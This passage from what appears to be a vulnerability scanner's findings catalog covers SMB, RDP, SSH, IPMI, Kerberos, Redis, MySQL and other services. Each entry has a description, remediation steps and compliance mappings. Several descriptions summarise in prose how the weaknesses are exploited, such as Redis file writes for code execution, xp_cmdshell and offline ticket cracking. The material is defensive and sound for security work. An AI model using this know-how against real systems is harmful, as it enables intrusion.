Remediation: Use parameterised queries or prepared statements. Apply input validation and output encoding. Deploy a WAF with SQLi signatures. Conduct a full application security review.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A03:2021
HIGH SS3-028 — Cross-Site Scripting (XSS) Vulnerability
Description: XSStrike or ZAP detected a reflected or stored XSS vulnerability. An attacker can inject scripts into pages viewed by other users, leading to session hijacking or credential theft.
Remediation: Apply context-aware output encoding for all user-controlled data. Implement a strict Content-Security-Policy. Validate and sanitise all inputs server-side.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: OWASP-A03:2021
HIGH SS3-029 — SNMP Community String Exposed
Description: The device accepts the default SNMP community string ('public' for read or 'private' for read/write). SNMP data exposes network topology, interface statistics, routing tables, and device configurations.
Remediation: Change SNMP community strings from defaults. Restrict SNMP access by source IP ACL. Migrate to SNMPv3 with authentication and encryption. Disable SNMP if not needed.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
HIGH SS3-030 — LDAP Anonymous Bind Permitted
Description: The LDAP server permits anonymous bind. Unauthenticated clients can query directory objects including user accounts, groups, and potentially password hashes.
Remediation: Disable anonymous LDAP bind in the directory service configuration. Require authenticated binds. Restrict LDAP query access to authorised service accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
INFO SS3-031 — Active Directory Domain Controller Identified
Description: A host with open ports 88 (Kerberos), 389 (LDAP), and/or 3268 (Global Catalog) was identified as a likely Active Directory domain controller.
Remediation: Ensure domain controllers are hardened per Microsoft Security Compliance Baseline. Restrict DC access to authorised management subnets.
CVSS Vector: N/A
OWASP Web: N/A
HIGH SS3-032 — Kerberoastable Service Account Identified
Description: Kerbrute or ldapdomaindump identified a service account with a ServicePrincipalName (SPN). Kerberos TGS tickets for SPNs can be requested without privilege and cracked offline.
Remediation: Use Group Managed Service Accounts (gMSA) with 120+ character auto-rotated passwords. Audit and remove unnecessary SPNs. Monitor for TGS ticket requests.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, AC-6, AU-12
PCI DSS 4: 8.3.1, 8.4.2
HIGH SS3-033 — AS-REP Roastable Account Identified
Description: A user account has Kerberos pre-authentication disabled. An AS-REP response can be requested and cracked offline without any credentials.
Remediation: Enable Kerberos pre-authentication on all user accounts. Do not disable pre-authentication without explicit justification. Enforce strong passwords on any accounts that require it disabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-5, AC-6
PCI DSS 4: 8.3.1
CRITICAL SS3-034 — BloodHound: Attack Path to Domain Admin Found
Description: BloodHound-Python graph collection identified a privilege escalation path from a compromised account to Domain Admin rights, typically via ACL abuse, constrained delegation, or group membership chains.
Remediation: Review and remediate the specific attack path(s) identified. Remove excessive ACL delegations. Apply the principle of least privilege to service accounts and admin groups.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-035 — NFS Export Accessible Without Authentication
Description: An NFS export is accessible without authentication or with world-readable permissions. Sensitive files on the export may be readable or writable by any network host.
Remediation: Restrict NFS exports to specific client IPs in /etc/exports. Use root_squash and nosuid options. Disable NFS if not required.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
HIGH SS3-036 — RDP Exposed to Network
Description: Remote Desktop Protocol (port 3389) is accessible from the network. RDP has a history of critical vulnerabilities and exposes the authentication surface to brute-force attacks.
Remediation: Restrict RDP to management VLANs. Require MFA for all RDP sessions. Patch against BlueKeep and DejaBlue. Use NLA (Network Level Authentication). Deploy RDP gateway.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A05:2021
HIGH SS3-037 — Telnet Service Exposed
Description: Telnet (port 23) is exposed on the network. Telnet transmits all data including credentials in cleartext. Any network observer can capture usernames and passwords.
Remediation: Disable Telnet. Replace with SSH. If Telnet is required on embedded hardware, isolate on a dedicated management network.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-038 — FTP Cleartext Credentials
Description: FTP (port 21) transmits credentials in cleartext. Credentials captured during banner grab or brute-force are fully readable by any network observer.
Remediation: Replace FTP with SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS). Disable FTP where possible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
CRITICAL SS3-039 — VNC Accessible Without Authentication
Description: A VNC service is accessible from the network without requiring authentication. An attacker has full graphical desktop access to the system.
Remediation: Enable VNC authentication immediately. Restrict VNC access to management networks. Use a VPN for remote access. Prefer alternatives with stronger authentication.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
HIGH SS3-040 — WordPress Vulnerability Detected (WPScan)
Description: WPScan identified a known vulnerability in the WordPress core, a plugin, or a theme. WordPress vulnerabilities frequently lead to RCE, data exfiltration, or credential theft.
Remediation: Update WordPress core, all plugins, and themes to the latest version. Remove unused plugins and themes. Harden WordPress per the WordPress Security Codex.
Effort: Medium
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
MEDIUM SS3-041 — Gobuster: Sensitive Path Discovered
Description: Gobuster directory brute-force discovered a sensitive path such as /admin, /backup, /.git, /config, /api/v1, or /.env exposed on the web server.
Remediation: Remove sensitive paths from web root. Restrict access to admin paths via IP allowlist. Ensure .git directories are not served publicly. Audit all discovered paths.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
CRITICAL SS3-042 — IPMI Authentication Bypass
Description: The IPMI/BMC interface is vulnerable to an authentication bypass (CVE-2013-4786 / Cipher 0 attack) allowing unauthenticated access to server management functions.
Remediation: Disable IPMI Cipher Suite 0. Update BMC firmware. Restrict IPMI access to dedicated management VLANs. Require strong authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
CRITICAL SS3-043 — Oracle Database Default Credentials (ODAT)
Description: ODAT discovered valid credentials on an Oracle database listener (port 1521). An attacker with database access can exfiltrate data or escalate to OS-level command execution.
Remediation: Change Oracle default accounts (SYS, SYSTEM, DBSNMP, SCOTT). Apply Oracle CPUs. Restrict listener access by IP. Disable remote OS authentication.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-044 — MSSQL Default Credentials (msdat)
Description: msdat discovered valid credentials on a Microsoft SQL Server (port 1433/1434). Attackers can query data, execute xp_cmdshell, or use MSSQL as a pivot point.
Remediation: Disable the SA account or change its password. Enable SQL Server Audit. Restrict port 1433 to application servers only. Disable xp_cmdshell.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
HIGH SS3-045 — Sploitus: Public Exploit Available for Detected Version
Description: Sploitus API returned a public exploit matching the service version detected during port scanning. The vulnerability is actively exploitable with publicly available tooling.
Remediation: Patch the affected service to the latest version. Implement network-level compensating controls until patching is complete. Prioritise remediation based on exploitability.
Effort: Low
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-046 — Metasploit Module Available for Detected Vulnerability
Description: The Metasploit Framework contains one or more scanner or exploit modules matching a CVE identified during scanning. The presence of a Metasploit module significantly lowers the barrier to exploitation; unskilled attackers can use these modules without deep vulnerability knowledge. Scanner modules (auxiliary/scanner/*) provide non-destructive validation of exploitability. Exploit modules are listed for consultant reference only and are never automatically executed by Scattershot3.
Remediation: Patch the affected software to eliminate the underlying vulnerability. Review the Metasploit module documentation for exploitation conditions and implement compensating controls (network segmentation, WAF rules, IDS/IPS signatures) until patching is complete. Use the scanner module for non-destructive confirmation of exploitability.
Effort: Low
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
CRITICAL SS3-047 — EternalBlue (MS17-010) — Host Confirmed Vulnerable
Description: The target host has been positively confirmed as vulnerable to EternalBlue (MS17-010). The SMBv1 implementation in the Windows SMB server does not properly handle transaction requests, allowing an unauthenticated remote attacker to execute arbitrary code with SYSTEM privileges. This vulnerability was weaponised by the WannaCry and NotPetya ransomware families and remains one of the most widely exploited vulnerabilities in existence. Successful exploitation requires no credentials and provides complete control of the target host.
Remediation: Apply Microsoft security update MS17-010 immediately. Disable SMBv1 via PowerShell: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Block port 445 at perimeter and between network segments. Verify patch status via WSUS or SCCM.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
CRITICAL SS3-048 — EternalBlue (MS17-010) — Likely Vulnerable (SMBv1 + Unpatched)
Description: The target host exposes SMBv1 and does not appear to have the MS17-010 patch applied, indicating a high likelihood of vulnerability to EternalBlue. While this finding is based on banner analysis and SMB negotiation response rather than active exploitation confirmation, the combination of SMBv1 enabled and absence of patching indicators represents a critical exposure. EternalBlue (CVE-2017-0144) allows unauthenticated remote code execution with SYSTEM privileges on unpatched Windows hosts.
Remediation: Apply MS17-010 immediately. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Validate patch status using the Metasploit auxiliary scanner (auxiliary/scanner/smb/smb_ms17_010) for definitive confirmation. Isolate host until patched.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
CRITICAL SS3-049 — SMBv1 Protocol Enabled (EternalBlue Risk)
Description: The SMBv1 protocol is enabled on this host. SMBv1 is a legacy protocol deprecated by Microsoft in 2014 that contains the vulnerability class exploited by EternalBlue (MS17-010). Even if MS17-010 is patched, SMBv1 contains additional weaknesses including susceptibility to NTLM relay attacks and other protocol-level vulnerabilities. Microsoft recommends disabling SMBv1 entirely on all systems regardless of patch level.
Remediation: Disable SMBv1 via Group Policy (Computer Configuration > Administrative Templates > Network > Lanman Workstation > Enable insecure guest logons: Disabled) or PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol. Verify with: Get-SmbServerConfiguration | Select EnableSMB1Protocol.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1021.002 (Lateral Movement)
NIST 800-53: CM-7, SI-2, CM-6
PCI DSS 4: 6.3.3, 2.2.4
CRITICAL SS3-050 — IPMI 2.0 Cipher Suite 0 — Authentication Bypass and Hash Capture
Description: The IPMI 2.0 implementation on this host accepts Cipher Suite 0 (null authentication), allowing an unauthenticated attacker to authenticate to the BMC with any password (CVE-2013-4786). Additionally, the IPMI 2.0 RAKP protocol leaks a salted SHA1 or MD5 hash of the remote management password during the authentication handshake, enabling offline password cracking even when Cipher Suite 0 is disabled. Successful exploitation grants full out-of-band server management access including console, power control, and firmware update capabilities.
Remediation: Disable IPMI Cipher Suite 0 in BMC configuration. Update BMC firmware to the latest version from the vendor. Restrict IPMI access (UDP 623) to dedicated out-of-band management VLANs with strict ACLs. Change all IPMI passwords to long, randomly generated values.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-051 — SSH Vulnerability: SSHv1 Protocol Supported
Description: The SSH server on this host advertises support for the SSHv1 protocol. SSHv1 is cryptographically broken and contains fundamental design flaws including the ability to insert arbitrary data into SSH sessions and an information disclosure vulnerability in RSA key exchange. SSHv1 has been deprecated since 2006 and its use undermines the integrity and confidentiality guarantees of the SSH channel.
Remediation: Disable SSHv1 in the sshd configuration: set 'Protocol 2' in /etc/ssh/sshd_config. Restart the SSH service. Verify with: ssh -1 <host> to confirm SSHv1 is rejected.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, CM-7, CM-6
PCI DSS 4: 4.2.1, 2.2.4
CRITICAL SS3-052 — SSH Vulnerability: 'none' Authentication Accepted (libSSH Bypass CVE-2018-10933)
Description: The SSH server accepts the 'none' authentication method due to an authentication bypass vulnerability in libSSH (CVE-2018-10933). An attacker can send an SSH2_MSG_USERAUTH_SUCCESS message before authentication is complete, causing the server to grant full authenticated access without any valid credentials. This affects libSSH versions 0.6.0 through 0.7.5 and 0.8.0 through 0.8.3 and provides complete unauthenticated shell access to any account.
Remediation: Upgrade libSSH to version 0.7.6 or 0.8.4 or later. For systems using OpenSSH this vulnerability does not apply — verify the SSH daemon in use. Apply vendor-supplied security patches immediately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, CM-7, SI-2
PCI DSS 4: 6.3.3, 8.2.1
MEDIUM SS3-053 — SSH Vulnerability: Weak/Deprecated Cryptographic Algorithms
Description: The SSH server advertises support for deprecated or weak cryptographic algorithms in its key exchange, host key, cipher, or MAC algorithm list. This includes algorithms such as arcfour (RC4), 3des-cbc, blowfish-cbc, diffie-hellman-group1-sha1, hmac-md5, and hmac-sha1-96. Use of these algorithms exposes SSH sessions to potential cryptographic attacks and violates current NIST and vendor security guidance.
Remediation: Update the SSH server configuration to restrict offered algorithms. In /etc/ssh/sshd_config set: Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com; MACs hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com; KexAlgorithms curve25519-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
HIGH SS3-054 — MS12-020 RDP Vulnerability Detected
Description: The Remote Desktop Protocol (RDP) service on this host appears vulnerable to MS12-020, which includes CVE-2012-0152 (denial of service via specially crafted RDP packet sequence) and CVE-2012-0002 (pre-authentication remote code execution via malformed RDP packet). CVE-2012-0002 is a pre-authentication memory corruption vulnerability affecting the Remote Desktop Protocol in Windows XP through Server 2008 R2. Exploitation can cause a crash (BSOD) or potentially allow arbitrary code execution.
Remediation: Apply Microsoft security bulletin MS12-020. Enable Network Level Authentication (NLA) as a compensating control. Restrict RDP access to authorised management networks. Block port 3389 at the perimeter firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-055 — RDP Weak or No Encryption Configured
Description: The RDP service is configured with a low or incompatible security layer, or does not enforce strong encryption. Configurations using 'RDP Security Layer' (as opposed to 'TLS' or 'Negotiate with TLS') use RC4 encryption that is cryptographically weak and susceptible to session interception. This allows a network-positioned attacker to decrypt RDP session traffic and recover credentials or session data.
Remediation: Configure RDP to require TLS: set 'Security Layer' to 'SSL (TLS 1.0)' or higher in Group Policy (Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options). Enforce NLA. Apply a valid certificate to the RDP service.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-056 — RDP Without NLA (Network Level Authentication) — BlueKeep Exposure
Description: Network Level Authentication (NLA) is not enforced on the RDP service. Without NLA, unauthenticated network sessions are established before user credentials are validated, exposing the pre-authentication attack surface to vulnerabilities such as BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1182). NLA moves authentication to the network transport layer, requiring credentials before a full RDP session is established.
Remediation: Enable NLA via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using NLA. Set to Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH SS3-057 — NFS Export Points Enumerated — Potentially Unauthenticated Access
Description: The NFS server responded to a showmount query and disclosed its export list. One or more exports are configured with overly permissive client specifications (e.g., wildcard '*', broad CIDR ranges, or no_root_squash), potentially allowing unauthenticated or minimally privileged network hosts to mount and access file system contents. Exposed NFS exports frequently contain sensitive data including SSH keys, configuration files, and application data.
Remediation: Audit /etc/exports and restrict each export to specific IP addresses or minimal CIDR ranges. Apply root_squash to all exports. Remove exports that are not required. Restrict showmount queries by blocking RPC portmapper (port 111) and NFS (port 2049) at the network boundary.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
MEDIUM SS3-058 — NFS Directory Listing Accessible
Description: An NFS-mounted export directory listing was successfully retrieved, confirming that the export can be mounted and browsed from the scanning host. The directory contents, file names, permissions, and modification timestamps are visible. This confirms NFS access is possible and that the export is not adequately restricted by client IP, user authentication, or Kerberos-based NFS (krb5 security flavour).
Remediation: Restrict NFS exports to specific authorised client IP addresses. Enable Kerberos authentication for NFS (sec=krb5p). Apply appropriate file permissions within the export. Consider migrating to SFTP or object storage for external file sharing.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
HIGH SS3-059 — SMTP Open Mail Relay Detected
Description: The SMTP server on this host will relay email for external domains, acting as an open mail relay. Open relays can be abused by spammers and phishing actors to send bulk email that appears to originate from the target organisation's IP space, damaging the organisation's email reputation, causing blacklisting, and potentially facilitating phishing campaigns. Open relays are identified by sending a test message from an external address to an external recipient via the server.
Remediation: Configure the SMTP server to reject relay for domains it is not authoritative for. On Postfix: set mynetworks to trusted IP ranges only, configure smtpd_recipient_restrictions to reject_unauth_destination. On Sendmail: configure access DB to deny relaying. Implement SPF, DKIM, and DMARC.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1078 (Defense Evasion), T1566 (Initial Access)
NIST 800-53: CM-7, SC-5, SI-8
PCI DSS 4: 1.3.1, 5.4.1
MEDIUM SS3-060 — SMTP User Enumeration Possible via VRFY
Description: The SMTP server responds to VRFY (verify) commands, allowing an unauthenticated client to enumerate valid email addresses and usernames on the system. The VRFY command returns a 250 OK response for valid addresses and a 550 response for invalid ones. This provides an attacker with a list of valid accounts for targeted brute-force, phishing, or credential stuffing attacks.
Remediation: Disable the SMTP VRFY command. On Postfix: set disable_vrfy_command = yes in main.cf. On Exchange: VRFY is disabled by default but verify. Implement rate limiting and connection throttling on SMTP ports.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 2.2.4
MEDIUM SS3-061 — SIP Extension / User Enumeration
Description: The SIP (Session Initiation Protocol) service responds differently to OPTIONS or REGISTER requests for valid versus invalid extensions, enabling enumeration of valid user accounts and extensions. SVMap or a similar SIP scanner identified valid SIP usernames by observing differential server responses (200 OK vs 403 Forbidden vs 404 Not Found). Enumerated extensions can be targeted for brute-force authentication attacks to gain free VoIP calling or eavesdropping capabilities.
Remediation: Configure the SIP server (Asterisk, FreePBX, Cisco UCM) to return uniform error responses regardless of extension validity. Implement SIP authentication on all extensions. Apply rate limiting and IP blocking for repeated failed registrations. Restrict SIP access to known client networks.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.4
MEDIUM SS3-062 — WebDAV Enabled
Description: The web server has WebDAV (Web-based Distributed Authoring and Versioning) enabled. WebDAV extends HTTP with methods including PROPFIND, MKCOL, COPY, MOVE, LOCK, and DELETE. If write access is granted to unauthenticated or low-privileged users, an attacker can upload arbitrary files including web shells, leading to remote code execution. Even read-only WebDAV can disclose file system metadata and source code.
Remediation: Disable WebDAV if not required. If WebDAV is necessary, restrict it to authenticated users over HTTPS, limit access by IP, and audit PROPFIND and PUT/MKCOL method access in web server logs. On IIS: remove the WebDAV Publishing role feature. On Apache: remove the mod_dav and mod_dav_fs modules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 2.2.4, 6.2.4
MEDIUM SS3-063 — JetDirect / PJL Printer Accessible
Description: An HP JetDirect or compatible printer management interface (port 9100 / PJL) is accessible from the network. The Printer Job Language (PJL) protocol allows reading and writing the printer file system, retrieving print job history, changing configuration settings, and in some models extracting stored credentials. Unauthenticated access to PJL is a well-known attack vector against printers exposed on corporate networks.
Remediation: Restrict access to port 9100 (JetDirect/RAW printing) using firewall ACLs to authorised print servers only. Disable PJL filesystem access commands in the printer administration console. Enable printer authentication and update firmware. Segment printers on a dedicated VLAN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 1.3.1, 2.2.4
CRITICAL SS3-064 — Redis Unauthenticated Access
Description: The Redis server on this host is accessible without authentication. Redis provides no access control beyond an optional password, and when exposed without authentication, allows any connected client to read, overwrite, or delete the entire key-value store. Redis supports commands such as CONFIG SET that can be abused to write attacker-controlled files to arbitrary locations on the server filesystem, commonly used to achieve remote code execution via cron job or SSH authorized_keys injection.
Remediation: Enable Redis authentication (requirepass) with a long randomly generated password. Bind Redis to localhost (bind 127.0.0.1) unless remote access is explicitly required. Use Redis 6+ ACL system to enforce per-user permissions. Block port 6379 at the network perimeter. Deploy Redis behind a VPN or bastion host.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL SS3-065 — MySQL Unauthenticated Access — Root with No Password
Description: The MySQL server accepts connections as the root user without a password from the network. This grants an attacker full database administrator access including the ability to read, write, and delete any database, load/dump files to and from the server filesystem using LOAD DATA INFILE and SELECT INTO OUTFILE, and potentially execute OS commands via User-Defined Functions (UDFs). This represents complete compromise of database confidentiality and integrity.
Remediation: Assign a strong password to the MySQL root account: ALTER USER 'root'@'%' IDENTIFIED BY 'strong_password'; Revoke remote root access: DELETE FROM mysql.user WHERE User='root' AND Host!='localhost'; Bind MySQL to localhost or a specific management interface. Restrict remote access with GRANT statements limited to specific source IPs.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
HIGH SS3-066 — MySQL CVE-2012-2122 Authentication Bypass Risk
Description: The MySQL version detected on this host is potentially vulnerable to CVE-2012-2122, a memory comparison timing flaw in the authentication protocol. Due to a memcmp() optimisation in certain Linux builds and MySQL versions (5.1.x before 5.1.63, 5.5.x before 5.5.24, 5.6.x before 5.6.6), an attacker who sends the correct password approximately once in every 256 login attempts will bypass authentication. With repeated automated attempts, this allows authentication bypass for any known username including root.
Remediation: Upgrade MySQL to a patched version (5.1.63+, 5.5.24+, 5.6.6+). Apply the vendor security patch. As a compensating control, restrict MySQL access by IP using GRANT statements and firewall rules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, SI-2
PCI DSS 4: 6.3.3, 8.2.1
CRITICAL SS3-067 — VMware ESXi Management Interface Exposed
Description: A VMware ESXi management interface (vSphere Client HTTPS on port 443, or ESXi Shell on port 22) is accessible from the network. ESXi hypervisors represent a critical attack surface: compromise of the hypervisor provides control over all guest virtual machines including the ability to power off, snapshot, clone, or extract disk images. ESXi has been a frequent ransomware target (ESXiArgs, Royal, BlackBasta), and exposed management interfaces are frequently exploited using known CVEs such as CVE-2021-22005 and CVE-2022-47966.
Remediation: Restrict ESXi management access (ports 443, 22, 902, 5900) to dedicated management VLANs and bastion hosts. Disable ESXi Shell and SSH when not in use. Apply VMware security advisories and vSphere patches immediately. Enable two-factor authentication via vCenter. Join hosts to vCenter and manage via RBAC rather than direct host access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1210 (Lateral Movement), T1046 (Discovery)
NIST 800-53: CM-7, AC-17, RA-5
PCI DSS 4: 1.3.1, 6.3.3
CISA KEV
HIGH SS3-068 — RPC Null Session Permitted
Description: The Windows RPC endpoint mapper accepts unauthenticated null session connections. A null session permits unauthenticated enumeration of shares, users, groups, and registry information via MS-RPC interfaces. This is frequently combined with SMB null session enumeration and forms a key component of unauthenticated Windows host reconnaissance, providing the attacker with Active Directory user account lists, group memberships, and domain SID information.
Remediation: Restrict anonymous RPC access via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options: 'Network access: Restrict anonymous access to Named Pipes and Shares' = Enabled. Set 'Network access: Do not allow anonymous enumeration of SAM accounts' = Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH SS3-069 — SMB Null Session Permitted
